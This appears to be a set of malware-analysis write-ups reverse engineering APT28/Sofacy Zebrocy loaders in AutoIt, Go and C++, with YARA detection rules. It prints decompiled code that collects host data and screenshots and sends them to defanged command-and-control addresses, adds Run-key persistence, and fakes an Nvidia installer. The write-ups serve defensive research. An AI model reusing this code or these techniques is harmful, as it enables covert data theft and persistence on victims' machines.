1. “parsestring()” and “parsefile()” Functions
The Zebrocy/Zepakab malware leverages parse for information and delay walking through directories hex-decoding to $path.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; Zepakab main excerpt  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
parsestring($path)
$delay = 20000
;%[1-5]%
$path = ($path, _hextostring("253125"), @AppDataCommonDir)
$path = ($path, _hextostring("253225"), @AppDataDir)
$path = ($path, _hextostring("253325"), @LOCALAPPDATADIR)
$path = ($path, _hextostring("253425"), @StartupDir)
$path = ($path, _hextostring("253525"), @SystemDir)
$path
parsefile($data)
$delay = (3, 7) * 62000
$ares = ($data, @CRLF)
@error = 15
($delay)

E. Zebrocy/Zepakab Downloader Implant (32-Bit for 32-bit AutoIt Compiled) (Wed Jan 16 12:10:59 2019)

The recent Zebrocy/Zepakab AutoIt downloader implant was UPX-packed and packed on Wed Jan 16 12:10:59 2019 UTC with the unpacked sample compilation timestamp of Wed Jan 16 06:10:59 2019 UTC) with the language set to English, Great Britain [LANG_ENGLISH,SUBLANG_ENGLISH_UK].
[IMAGE_FILE_HEADER]
0x114      0x0   Machine:                   0x14C     
0x116      0x2   NumberOfSections:          0x3       
0x118      0x4   TimeDateStamp:             0x5C3F1F53 [Wed Jan 16 12:10:59 2019 UTC]
0x11C      0x8   PointerToSymbolTable:      0x0       
0x120      0xC   NumberOfSymbols:           0x0       
0x124      0x10  SizeOfOptionalHeader:      0xE0      
0x126      0x12  Characteristics:           0x122     
Flags: IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_LARGE_ADDRESS_AWARE

 

The payload has ProductName “Microsoft Windows Operating System” with the FileDescription “ServicesTray.”
The malware flow excerpt is as follows setting the downloader as “srhost.exe”.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;; Zebrocy/Zepakab main flow excerpt ;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Opt("trayiconhide", 1)
$uri = "locale/protocol/volume.php"
$host = "hxxps://185[.]236[.]203[.]53/"
$call = True
$fp = "c:\ProgramData\Windows\Microsoft\Settings\srhost.exe"
$copybaras = ""
$argv = argv()
main()

The malware contained the following main functions:

Command Name Description
main() Convert host data to Base64 with padded “F” on the reverse length of Base64 data blob and appended to “img=” (until 5)
info() -> _computergetoss() Parse WMI “SELECT * FROM Win32_OperatingSystem”
scr() Obtains desktop screenshot
parseresponse() Installs to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run as “Security_Maintenance”
crocodile() Run the next stage via ShellExecute API
The “main” function essentially Base64’s collected host info and desktop screenshot blob with padding it with the algorithm concatenating “F” to reverse string length of the host collected data Base64 blob until 5 and adding it along with the Base64 host and desktop screenshot and appending to “img=” with the HTTPS server communication. This small addition prevents simple Base64 conversion of the data, which is done automatically by many network traffic analyzers with the goal to avoid basic plaintext traffic detection.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;; Zebrocy/Zepakab "main" function ;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func main()
 While $call
  $fo = FileOpen($fp, 2 + 8 + 16)
  $si = StringReplace(base64(info()), "\r\n", "")
  $sc = StringReplace(base64(scr()), "\r\n", "")
  If $si = "" Then Exit
  If $sc = "" Then Exit
  $coun = STRINGREVERSE(StringLen($si))
  For $k = StringLen($coun) To 5
   $coun = $coun & "F"
  Next
  $coun = "img=" & $coun & $si & $sc
  connect($coun, $fo)
  $ap = $fo
  crocodile($ap)
  If $call Then
   Sleep(60000)
  Else
   ExitLoop
  EndIf
 WEnd
EndFunc
The malware fingerprints host by parsing results of Windows Management Instrumentation (WMI) query of “SELECT * FROM Win32_OperatingSystem”.

Yara Signature

import "pe"
import "hash"
rule apt28_zebrocy_autoit_loader {
meta:
   reference = "Detects Possible Autoit APT28 Zebrocy downloader"
   author = “@VK_Intel / @sysopfb"
   date = "2019-01-21; Edited: 2019-01-22"
   type = "experimental"
strings:
// "AU3!EA068" header
$au3 = { 41 55 33 21 45 41 30 36 4D }
$autscr = "/AutoIt3ExecuteLine" fullword wide
$arch = " $MS = "MS " ascii wide
$Microsoft = "Microsoft Inc." ascii wide
$s0 = "PROCESSGETSTATS" fullword wide
$s1 = "SHELLEXECUTEWAIT" fullword wide
$s2 = "WINGETPROCESS" fullword wide
$s3 = "0Expected a \"=\" operator in assignment statement.*Invalid keyword at the start of this line." fullword wide
$s4 = "SHELLEXECUTE" fullword wide
$s5 = "SCRIPTNAME" fullword wide /* base64 encoded string 'H$H=3@0' */
$s6 = "PROCESSSETPRIORITY" fullword wide
$s7 = "HTTPSETUSERAGENT" fullword wide
$s8 = "PROCESSWAITCLOSE" fullword wide
$s9 = "PROCESSCLOSE" fullword wide
$s10 = "PROCESSWAIT" fullword wide
$s11 = "PROCESSEXISTS" fullword wide
$s12 = "PROCESSORARCH" fullword wide
$s13 = "AUTOITWINGETTITLE" fullword wide
condition:
uint16(0) == 0x5a4d and ($MS or $Microsoft) and $au3 and $autscr and $arch and filesize < 1500KB and all of ($s*) and pe.number_of_resources > 7 and
(for any i in (0..pe.number_of_resources - 1):
(pe.resources[i].type == pe.RESOURCE_TYPE_RCDATA and hash.md5(pe.resources[i].offset, 96) == "84a7952bb4bdb93c11e32fe2de63b00c"))
}

Let’s Learn: Progression of APT28/Sofacy Golang Zebrocy Loader ‘Project2.Go’: WMIC & Hex Decode

Goal: Document the progression of the Zebrocy (aka Zepakab) Golang loader as leveraged by the APT28/Sofacy group.

Source:
UPX-compressed APT28 Zebrocy sample (MD5: 6bc5f53d4082f12dd83aca45bae81e64)
Outline:

I. Background & Summary
II. Zebrocy main* Functions
A. main_asduiwom663721 (WMIC disk parser function)
B. main_dassdwdfgsd3321 (aka "main_getfilename")
C. main_xcmkksja1 (aka "main_CreateSysinfo")
III. Yara Signature

Background & Summary:

Since the previous analysis of the “ProjectC1Dec” Zebrocy loader, the APT28 (also known as Sofacy, Fancy Bear, STRONTIUM, Pawn Storm, and Sednit) group appears to have modified the code to leverage WMIC for host profiling rather than leveraging the GitHub code, taken from the open source repository iamacarpet/go_win64api (thanks to  / &  for the original hunting discovery).

The APT28 group continues to leverage UPX rather for binary compression to deliver the Golang Zebrocy binary.

This project debugging path of the “GoLand” project appears to be as follows:
“C:/=!=/GoLand/Project1_HEX/Project2.go” 

While the previous one was as follows:
C:/!Project/C1/ProjectC1Dec/main.go

The main differences appear to be the usage of hex encoding throughout the application to hide various variables as well as changed main function names coupled with the usage of “WMIC” to query system information. It also appears that the latest Golang Zebrocy dropped the usage of the GitHub code from iamacarpet/go_win64api (ProcessList, InstalledSoftwareList, ListLoggedInUsers,SessionDetails/FullUser), shirou_gopsutil (host_Info) while maintained the screenshot support from the open source library kbinani/screenshot(NumActiveDisplays, GetDisplayBounds, CaptureRect).

It is also notable that the command-and-control server continues to be hosted on the Qhoster 89.37.226.* range ASN AS60068. The previous server was hosted at .*123 while the latest one is at *.148.
Additionally, the observed “Run” registry key is “Driveupd”
The malware capabilities include installation in HKCU registry as “Driveupd” and locally in %APPDATA%, leveraging “WMIC” execution via “cmd”, profiling a victim system (in this case, leveraging “WMIC“, obtaining desktop screenshots, and sending the data to the server. The specific host profiling WMIC command the malware passes is “wmic logicaldisk get caption,description,drivetype,providername,size“.

The client-server communication passes the “support?6t1d %” parameter to the URL  hxxp://89[.]37[.]226[.148/technet-support/library/online-service-description.php?id_name=.

II. Zebrocy main* Functions

This Project2.go compiled sample contains changed function names as mapped to the previous sample from the previous analysis:

main_main
main_init
main_asduiwom6633 -> new hex decoder function
main_asduiwom663721 -> WMIC disk parser
main_dassdwdfgsd3321 -> main_getfilename
main_asduiwom663723 -> parser function
main_asduiwom66372 -> main_CMDRunAndExit
main_xcmkksja1 -> main_CreateSysinfo
main_jjdskasdhhfud00 -> main_ParseData
main_sg383820kks -> main_SendPOSTRequests
main_Bubugaga -> main_Screen       
main_uuettdh666 -> main_GetSND
main_asduiwom66311 -> convert to string
Additionally, the malware heavily relies on the hex decoder function with multiple xrefs to decode hex-encoded parameters.
A. main_asduiwom663721 (WMIC disk parser function)
The “main_asduiwom663721″ function parses host for driver information leveraging the following command executing via os/exec Golang library:

wmic logicaldisk get caption,description,drivetype,providername,size

The pseudo-coded C++ function of the Golang compiled binary is as follows:

////////////////////////////////////////////////
//// APT28 main WMIC disk parser Function //////
////////////////////////////////////////////////

int main_asduiwom663721()
{

...

  while ( (unsigned int)&retaddr <= *(_DWORD *)(*(_DWORD *)__readfsdword(20) + 8) )
    runtime_morestack_noctxt();
  main_asduiwom6633((int)&byte_63BCBB, 6);
  main_asduiwom6633((int)byte_63B871, 4);
  main_asduiwom6633((int)&word_64CD0E, 136); 
// "wmic logicaldisk get caption,description,drivetype,providername,size"
  v12 = v6;
  v13 = v8;
  v14 = v6;
  v15 = v8;
  os_exec_Command(v6, v8, &v12, 2, 2);
  runtime_newobject(dword_61A320, v0);
  *v5 = 1;
  v1 = v11;
  v2 = *(_BYTE *)v11;
  if ( dword_790550 )
  {
    runtime_writebarrierptr();
    v1 = v11;
  }
  else
  {
    *(_DWORD *)(v11 + 76) = v5;
  }
  os_exec__ptr_Cmd_CombinedOutput(v1, v5, v7, v9, v10);
  runtime_slicebytetostring(0);
  return v3;
}
B. main_dassdwdfgsd3321 (aka “main_getfilename“)
The “main_dassdwdfgsd3321” function (previously “main_getfilename”) simply checks for the existence of itself in ‘%APPDATA%\Identities\{83AF1378-986F-1673-091A-02681FA62C3B’} as ‘w32srv.exe’.
The pseudocoded C++ Go function is as follows:
////////////////////////////////////////////////
////// APT28 Zebrocy Go main_dassdwdfgsd3321 ///
////// GetFileName Function ////////////////////
////////////////////////////////////////////////

int main_dassdwdfgsd3321()
{

...

  while ( (unsigned int)&retaddr <= *(_DWORD *)(*(_DWORD *)__readfsdword(20) + 8) )
    runtime_morestack_noctxt();
  // %APPDATA%
  main_asduiwom6633((int)byte_63E145, 14);      
  os_Getenv();
  // \\Identities\\{83AF1378-986F-1673-091A-02681FA62C3B}
  main_asduiwom6633((int)&word_64C8DA, 104);   
  runtime_concatstring2(0, v2, v3, v2, v3);
  os_MkdirAll();
  main_asduiwom6633((int)byte_63E145, 14);
  os_Getenv();
  main_asduiwom6633((int)&word_64CB06, 128);    // \\w32srv.exe
  runtime_concatstring2(0, 1, v0, 1, v0);
  return v4;
}

C. main_xcmkksja1 (aka “main_CreateSysinfo”)
The “main_xcmkksja1” function (previously “main_CreateSysinfo”) formats concatenates host information with the appended “systeminfo”, “tasklist”, and “PrgStart: “
The pseudocoded C++ Go function is as follows:

////////////////////////////////////////////////
////// Zebrocy Go Function /////////
////////////////////////////////////////////////

int main_xcmkksja1()
{

...

  while ( (unsigned int)&v24 <= *(_DWORD *)(*(_DWORD *)__readfsdword(20) + 8) )
    runtime_morestack_noctxt();
  main_asduiwom6633(byte_6409C9, 20, v6, v7);   // 'systeminfo'
  main_asduiwom663723(v6, v7, v6, v7);
  v13 = v7;
  v19 = v6;
  main_asduiwom6633("7461736B6C697374: value of type :VerifyDNSLengthAddDllDirectory", 16, v6, v7);
  main_asduiwom663723(v6, v7, v6, v7);          // 'tasklist'
  v16 = v7;
  v22 = v6;
  os_Executable(v4, v5, v6, v7);
  if ( v6 )
  {
    v0 = 6;
    v1 = &byte_63BD1B;
  }
  else
  {
    v1 = v4;
    v0 = v5;
  }
  v15 = v0;
  v21 = v1;
  main_asduiwom6633(byte_6409B5, 20, v6, v7);   // 'PrgStart: '
  runtime_concatstring2(&v18, v6, v7, v21, v15, v9, v10);
  v21 = v9;
  v15 = v10;
  main_asduiwom663721(v4, v5);
  v20 = v4;
  v14 = v5;
  time_Now((char)v4);
  sub_44CE6E();
  sub_44CE6E();
  time_Time_Format(
    (char)v4,
    v5,
    v6,
    v7,
    v8,
    "[2006-01-02-15.04.05]block device requiredbufio: negative countcheckdead: runnable gcommand not supportedconcurrent map writesdecompression failuredefer on system stackexec: already startedfindrunnable: wrong pgcprocs inconsistencyhttp: Handler timeouthttp: nil Request.URLimage: unknown formatinvalid ALPN protocolinvalid named capturekey is not comparablelink has been severednot enough pixel datapackage not installedpanic on system stackpng: invalid format: read-only file systemreflect.Value.Complexreflect.Value.Pointerreleasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustrace/breakpoint trapunknown empty Contextuser defined signal 1user defined signal 2wglCreateLayerContextwglDescribeLayerPlane from SOCKS5 proxy at %SystemRoot%\\system32\\%v.WithValue(%#v, %#v)/lib/time/zoneinfo.zip4656612873077392578125Aleutian Standard TimeAtlantic Standard TimeCaucasus Standard TimeConvertSidToStringSidWConvertStringSidToSidWCreateCompatibleBitmapCreateIoCompletionPortDEBUG_HTTP2_GOROUTINESDateline Standard TimeEKU not permitted: %#vGeorgian Standard TimeGetEnvironmentStringsWGetTimeZoneInformationHawaiian Standard TimeInscriptional_ParthianMAX_CONCURRENT_STREAMSMountain Standard TimeNtWaitForSingleObject",
    21,
    v11,
    v12);

III. Yara Signature

rule apt28_win_zebrocy_golang_loader_modified {
   meta:
      description = "Detects unpacked modified APT28/Sofacy Zebrocy Golang."
      author = "@VK_Intel"
      date = "2018-12-23; updated: 2018-12-25" 
   strings:
   // Go build
    $go = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 }
    $init = { 6d 61 69 6e 2e 69 6e 69 74 }
    $main = "main" ascii wide fullword
    $scr_git = {67 69 74 68 75 62 2e 63 6f 6d 2f 6b 62 69 6e 61}
    $s0 = "os/exec.(*Cmd).Run" fullword ascii
    $s1 = "net/http.(*http2clientConnReadLoop).processHeaders" fullword ascii
    $s2 = "os.MkdirAll" fullword ascii
    $s3 = "os.Getenv" fullword ascii
    $s4 = "os.Create" fullword ascii
    $s5 = "io/ioutil.WriteFile" fullword ascii
   condition:
    uint16(0) == 0x5a4d and $go and $init and all of ($s*) and #main > 10 and #scr_git > 5
}

Let’s Learn: In-Depth on APT28/Sofacy Zebrocy Golang Loader

Goal: Reverse engineer the latest APT28/Sofacy Zebrocy loader, coded in the Go programming language, oftentimes referred to Golang.

https://platform.twitter.com/widgets.js
Source:
UPX-packed APT28/Sofacy Zebrocy Loader (MD5: 602d2901d55c2720f955503456ac2f68)
Outline:

I. Background & Summary
II. Zebrocy main* Functions
A. main_init
B. main_main
C. main_Parse
III. Yara Signature

Analysis:
I. Background & Summary
Palo Alto Unit 42 recently discovered and reported one of the latest Sofacy/APT28 group’s Zebrocy samples, compiled in the Golang programming language. This group is also known as Fancy Bear, STRONTIUM, Pawn Storm, and Sednit. 
I recommend reading research by Robert Falcone and Unit 42 titled “Sofacy Creates New ‘Go’ Variant of Zebrocy Tool.” This new twist of leveraging Golang for malware compilation complicates binary analysis and comparison across other samples as the group deploys quite a bit with programming languages such as Delphi and C#.
By and large, analysis reveals that this  Zebrocy version is unsophisticated and heavily relies on various Golang open source code templates from GitHub including iamacarpet/go_win64api (ProcessList, InstalledSoftwareList, ListLoggedInUsers,SessionDetails/FullUser), shirou_gopsutil (host_Info), and kbinani/screenshot (NumActiveDisplays, GetDisplayBounds, CaptureRect). The malware capabilities include installation in HKCU registry as “Media Center Extender Service” and locally in %LOCALAPPDATA%, execution via “cmd”, profiling a victim system, obtaining desktop screenshots, and sending the data to the server. The original Golang Zebrocy project contains the following debugging path “C:/!Project/C1/ProjectC1Dec/main.go” with the “ProjectC1Dec” name.
Thanks to the released Golang IDA code script helpers, developed by George Zaytsev, this malware introduced an interesting angle allowing to dive deeper into reversing of this Zebrocy Golang loader. 
II. Zebrocy main* Functions
Essentially, Zebrocy Golang loader is, by and large, a slightly modified copy/paste code from GitHub related to various open source Golang libraries. For example, the open source Golang code to retrieve a list of loggedInUsers is as follows: 

package main

import (
"fmt"
wapi "github.com/iamacarpet/go-win64api"
)

func main(){
// This check runs best as NT AUTHORITY\SYSTEM
//
// Running as a normal or even elevated user,
// we can't properly detect who is an admin or not.
//
// This is because we require TOKEN_DUPLICATE permission,
// which we don't seem to have otherwise (Win10).
users, err := wapi.ListLoggedInUsers()
if err != nil {
fmt.Printf("Error fetching user session list.\r\n")
return
}

fmt.Printf("Users currently logged in (Admin check doesn't work for AD Accounts):\r\n")
for _, u := range users {
fmt.Printf("\t%-50s - Local User: %-5t - Local Admin: %t\r\n", \
u.FullUser(), u.LocalUser, u.LocalAdmin)
}
}

This same code is copied and embedded as part of the malware main_Session_List routine as observed in pseudo-code.

The Golang version of the malware consists of the following 16 main_* named functions and their detailed descriptions:

Golang Function Name Description
main_GetDisk get disk via “cmd”
main_Getfilename obtain path to “%LOCALAPPDATA%\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}\wcncsvc.exe”
main_CMDRunAndExit execute a file and exit via “cmd”
main_Tasklist retrieve process list via iamacarpet/go_win64api/ProcessList method
main_Installed retrieve installed software via iamacarpet_go_win64api_InstalledSoftwareList method
main_Session_List retrieve active session list (logged in users + Run-As users) via iamacarpet/go_win64api/ListLoggedInUsers method
main_List_Local_Users retrieve a formatted list of local users via theListLocalUsers method
main_systeminformation retrieve host information via shirou/gopsutil/host_Info method
main_CreateSysinfo concatenate and format all the victim data from main_Tasklist, main_GetDisk, time_time_Now, main_Installed, main_Session_List, main_List_Local_Users, and time_Time_Format.
main_ParseData call main_Getfilename and create a copy of itself in %LOCALAPPDATA% and creates a registry key via cmd “reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Media Center Extender Service,/d”
main_SendPOSTRequests send a server POST request, call time_Sleep(4230196224, 6) and if after 19 attempts, exits via os.exit, otherwise call main_main, then main_ParseData, and main_ParseData, main_CMDRunAndExit.
main_Screen take a screenshot of the desktop
main_GetSND get stdin from “cmd”
main_PrcName get path to itself process
main_main run the main function of the Golang Zebrocy
main_init initialize main structures necessary for Golang malware execution

A. main_init
The malware starts with initializes various libraries necessary for Golang execution (net, encoding, regular expressions, and necessary reliant GitHub project libraries). The C++ pseudo-coded Golang malware routine is as follows:

//////////////////////////////////////////
////// APT28 Golang Zebrocy main_init ////
//////////////////////////////////////////

int main_init()
{

if ( (unsigned int)&_0 <= *(_DWORD *)(*(_DWORD *)__readfsdword(20) + 8) )
runtime_morestack_noctxt();
result = (unsigned __int8)byte_8625A6;
if ( (unsigned __int8)byte_8625A6 <= 1u )
{
if ( byte_8625A6 == 1 )
runtime_throwinit();
byte_8625A6 = 1;
bytes_init();
encoding_hex_init(); // hex_encode init
fmt_init(); // fmt init
image_jpeg_init(); // image jpeg init
io_ioutil_init(); // io util
net_http_init(); // http util
net_url_init(); // net url
os_init(); // os init
os_exec_init(); // os exec init
path_filepath_init(); // file path init
regexp_init(); // regular expressions oinit
strings_init(); // string init
syscall_init(); // syscall init
time_init(); // timer init
github_com_iamacarpet_go_win64api_init(); // golang enumerate lib
github_com_kbinani_screenshot_init(); // golang screenshot lib
result = github_com_shirou_gopsutil_host_init(); // go host enum lib
byte_8625A6 = 2;
}
return result;
}

B. main_main
The main_main function calls initialize other important main calls
retrieving the path to the process of itself, obtaining cmd stdin output, retrieving system information, making a screenshot, and sending POST requests to the main command-and-control server.
The pseudo-coded C++ code is as follows:

//////////////////////////////////////////
////// APT28 Golang Zebrocy main_main ////
//////////////////////////////////////////
int main_main()
{

...

if ( (unsigned int)&retaddr <= *(_DWORD *)(*(_DWORD *)__readfsdword(20) + 8) )
runtime_morestack_noctxt();
main_PrcName(); // get path to itself
strings_Contains(v1, v3, &byte_66EE33, 6); // "comsvccookie"
if ( v5 )
{
// get Cmd_Stdin pipe
main_GetSND(v10, v12);
v1 = v0;
v3 = v2;
// retrieve system info
main_CreateSysinfo();
v4 = v0;
v5 = v2;
// retrieve screenshot
main_Screen(v2, v0);
// "hxxp://89[.]37[.]226[.]123/advance/portable_version/service[.]php"
result = main_SendPOSTRequests((int)domain, 57, v2, v4, v2, v4, v2, v4);
}
else
{
result = main_SendPOSTRequests(
(int)&word_673186, // http://google.comif-modified-since
17,
(int)"01456:;?@BCLMNOPSZ[\"\\\n\r\t",
1,
(int)"1456:;?@BCLMNOPSZ[\"\\\n\r\t",
1,
(int)"1456:;?@BCLMNOPSZ[\"\\\n\r\t",
1);
}
return result;
}

C. main_Parse
The main_Parse function serves as the main persistency script writing the binary to %LOCALAPPDATA% and adding itself to HKCU\Software\Microsoft\Windows\CurrentVersion\Run as “Media Center Extender Service.”

//////////////////////////////////////////
////// APT28 Golang Zebrocy main_ParseData ////
//////////////////////////////////////////
int __cdecl main_ParseData(int a1, int a2)
{

// Get %LOCALAPPDA% new file path
//"%LOCALAPPDATA%\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}\wcncsvc.exe"
main_Getfilename();
v24 = v2;
v25 = v3;
os_Create(v3, v2);
if ( runtime_deferproc(12, off_68613C) )
{
result = runtime_deferreturn(v11);
}
else
{
// Write itself to the specified path
io_ioutil_WriteFile(v25, v24, v14, v17, v18, 420, v21);
((void (*)(void))loc_44CDC8)();
v30 = v25;
v31 = v24;
os_exec_Command((int)&cmd, 3, (int)&v29, 2, 2);
runtime_newobject(obj_byte);
*v12 = 1;
v4 = v19;
v5 = *(_BYTE *)v19;
if ( dword_862D30 )
runtime_gcWriteBarrier(v19);
else
*(_DWORD *)(v19 + 76) = v12;
os_exec__ptr_Cmd_Run(v4, v12, v15);
((void (*)(void))loc_44CDC8)();
// "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run
// /v Media Center Extender Service /d"
runtime_concatstring3(0, (unsigned int)dword_682308, 96, v25, v24, &word_66E71E, 4, v22);
v27 = v6;
v28 = v23;
os_exec_Command((int)&cmd, 3, (int)&v26, 2, 2);
runtime_newobject(obj_byte);
*v13 = 1;
v7 = v20;
v8 = *(_BYTE *)v20;
if ( dword_862D30 )
runtime_gcWriteBarrier(v20);
...
}

III. Yara Signature

rule apt28_win_zebrocy_golang_loader {
meta:
description = "Detects unpacked APT28/Sofacy Zebrocy Golang."
author = "@VK_Intel"
date = "2018-12-21"
hash = "15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7"
strings:

// main_init
$x0 = {6d 61 69 6e 2e 69 6e 69 74}

// main_main
$x1 = {6D 61 69 6e 2e 6d 61 69 6e}

// main_Parse
$x2 = {6d 61 69 6e 2e 50 61 72 73 65 44 61 74 61}

// main.GetSND
$x3 = {6d 61 69 6e 2e 47 65 74 53 4e 44}

// main.PrcName
$x4 = {6d 61 69 6e 2e 50 72 63 4e 61 6d 65}

condition:
( uint16(0) == 0x5a4d and
( 4 of ($x*) )
)
}

Let’s Learn: Reviewing Sofacy’s "Zebrocy" C++ Loader: Advanced Insight

GoalAnalyze and reverse engineer one of the “Zebrocy” C++ loader samples attributed to Sofacy/Sednit/APT28 group. By and large, Zebrocy is a widely-used first-stage loader in the recent campaigns (especially in its Delphi version). This loader was discovered and documented by Palo Alto Unit 42.

https://platform.twitter.com/widgets.js

Source:

Zebrocy Loader C++ x86 (32-bit) Version: bf0fea133818387cca7eaef5a52c0aed
Outline:

I. Background & Summary
II. Zebrocy Loader C++ x86 (32-bit) Version: WinMain function
A. Nvidia Setup Procedure
B. Zebrocy "MainCaller" Function
C. "EnterDecoder" Function
D. Zebrocy "recv" Processor: "-1" & "0009" Commands
E. Zebrocy Install and Execute Next Stage
III. Yara Signature
 I. Background & Summary
Sofacy’s “Zebrocy” loader appears to be popular for the past few years deployed by the group. I decided to take a look at the C++ version of the loader as it was documented by Palo Alto Unit 42 in order to review its functionality in-depth and document it, as well as, to create a Yara rule detection for it.
Before reading further, I recommend reviewing the article titled “Sofacy Group’s Parallel Attacks,” authored by Unit42. This article documents the discovery of this C++ loader. Reportedly, Unit42 retrieved this payload as a loader from another Zebrocy Delphi version, which first-stage was a “phishing email sent to a foreign affairs organization within a Central Asian country.”
It is notable that this loader was written in C++ with the apparent usage of header library, for example, for writing input/output as fwrite API.
The loader also mimics itself as “Nvidia” installer displaying the message “NVidiaSetup 98% comp” while displayed with 0x0 pixels in the bottom right corner. By and large, the loader is rather unpacked and rather unsophisticated; it deploys rather interesting transposition to hex to ASCII decoding routine and executing next stage via ShellExecuteA.
II. Zebrocy Loader C++ 32-bit (x86) Version: WinMain function

The loader, originally named “snvmse.exe,” essentially sets up a window with the procedure displaying the text “NVidiaSetup 98% comp” via BeginPaint, TextOutW, and EndPaint. The window class is titled “win32app” with the window name “Application_Win32” via CreateWindowExW. The Zebrocy malware creates a window in the bottom right with height 0x0 and width 0x0. 

The shortened WinMain C++ pseudo-coded function as follows:
//////////////////////////////////////////////////////////////
///////////////// Zebrocy WinMain Function ///////////////////
/////////////////////////////////////////////////////////////
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
v16.cbSize = 48;
v16.style = 3;
v16.lpfnWndProc = NvidiaSetupMsg; // Draw fake "Nvidia" install message
v16.cbClsExtra = 0;
v16.cbWndExtra = 0;
v16.hInstance = hInstance;
v16.hIcon = LoadIconW(hInstance, (LPCWSTR)0x7F00);
v16.hCursor = LoadCursorW(0, (LPCWSTR)0x7F00);
v16.hbrBackground = (HBRUSH)6;
v16.lpszMenuName = 0;
v16.lpszClassName = L"win32app";
v16.hIconSm = LoadIconW(hInstance, (LPCWSTR)0x7F00);
if ( !RegisterClassExW(&v16) )
return 1;
dword_42A84C = (int)hInstance;
GetVolumeInfoMain((int)&v23); // Retrieve serial number from disc "C:\\"
v17 = &v9;
GetComputerName((int)&v9); // Retrieve computer name
bit_func_Main_((int)&v19, v9, v10, v11, v12, v13, v14);
v15 = &Rect;
v4 = GetDesktopWindow();
GetWindowRect(v4, v15);
v5 = CreateWindowExW(
0x80088u, // dwExStyle =
// WS_EX_TOPMOST|WS_EX_TOOLWINDOW|WS_EX_LAYERED
L"win32app", // lpClassName
L"Application_Win32", // lpWindowName
0xCA0000u, // dwStyle
// WS_OVERLAPPED|WS_MINIMIZEBOX|WS_SYSMENU|WS_CAPTION
Rect.right, // X.right
Rect.bottom, // Y.bottom
0, // nWidth = 0
0, // nHeight = 0
0, // hWndParent = NULL
0, // hMenu = NULL
hInstance, // hInstance
0); // lpParam = NULL
v6 = v5;
if ( !v5 )
{
if ( v21 >= 16 )
val(v19);
v21 = 15;
v20 = 0;
LOBYTE(v19) = 0;
if ( v24 >= 16 )
val(v23);
return 1;
}
ShowWindow(v5, nShowCmd);
UpdateWindow(v6);
Sleep(3000u);
if ( ZebrocyMainCaller() == 1 )
{
KillTimer(v6, 1u);
PostQuitMessage(0);
}
while ( GetMessageW(&Msg, 0, 0, 0) )
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
v8 = Msg.wParam;
if ( v21 >= 0x10 )
val(v19);
v21 = 15;
v20 = 0;
LOBYTE(v19) = 0;
if ( v24 >= 16 )
val(v23);
return v8;
}

The machine ID is calculated via obtaining a serial number from GetVolumeInfoMain (with the label “C:\”) and the return of GetComputerName API.
A. Nvidia Setup Procedure
The so-called LRESULT “NvidiaSetupMsg” function leverages messages with timers to paint the text box leveraging BeginPaint, unicode TextOutW, and EndPaint and WM_PAINT message.

The shortened C++ pseudo-coded function is follows:
//////////////////////////////////////////////////////////////
//////////////// Zebrocy NvidiaSetupMsg Function ////////////
/////////////////////////////////////////////////////////////
LRESULT __stdcall NvidiaSetupMsg(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
qmemcpy(&NVidia, L"NVidiaSetup 98% comp", 42u);
if ( Msg > 15 ) // WM_PAINT = 15
{
if ( Msg != 275 ) // WM_TIMER = 275
return DefWindowProcW(hWnd, Msg, wParam, lParam);
if ( ZebrocyMainCaller() == 1 ) // Main Zebrocy Caller Function
{
KillTimer(hWnd, 1u);
LABEL_12:
PostQuitMessage(0);
return 0;
}
}
else if ( Msg == 15 ) // WM_PAINT = 15
{
v4 = BeginPaint(hWnd, &Paint);
TextOutW(v4, 5, 5, &NVidia, wcslen(&NVidia));
EndPaint(hWnd, &Paint);
}
else
{
if ( Msg != 1 ) // WM_CREATE = 1
{
if ( Msg == 2 ) // WM_DESTROY = 2
goto LABEL_12;
return DefWindowProcW(hWnd, Msg, wParam, lParam);
}
SetTimer(hWnd, 1u, 200000u, 0);
}
return 0;
}

B. Zebrocy “MainCaller” Function

The Zebrocy main caller function utilizes the Winsock API library to call the controller domain. It also contains the decoder and string processor functions.
The main function is as follows:

WSAStartup -> socket -> enter_decoder -> string_processor -> decoder 
-> WSACleanup -> inet_addr -> htons -> connect -> enter_decoder -> send 
-> closesocket -> shutdown -> recv -> Sleep

C. Zebrocy “EnterDecoder” Function

The Zebrocy malware leverages two functions to process and decoding encoded “[@A-Z]” blobs.
The full decoded blobs are as follows:
str_processor((int)&encoded_value, "CCICUB@CECUBECBCUBECHCAC", 24u);
// 185[.]25[.]50[.]93
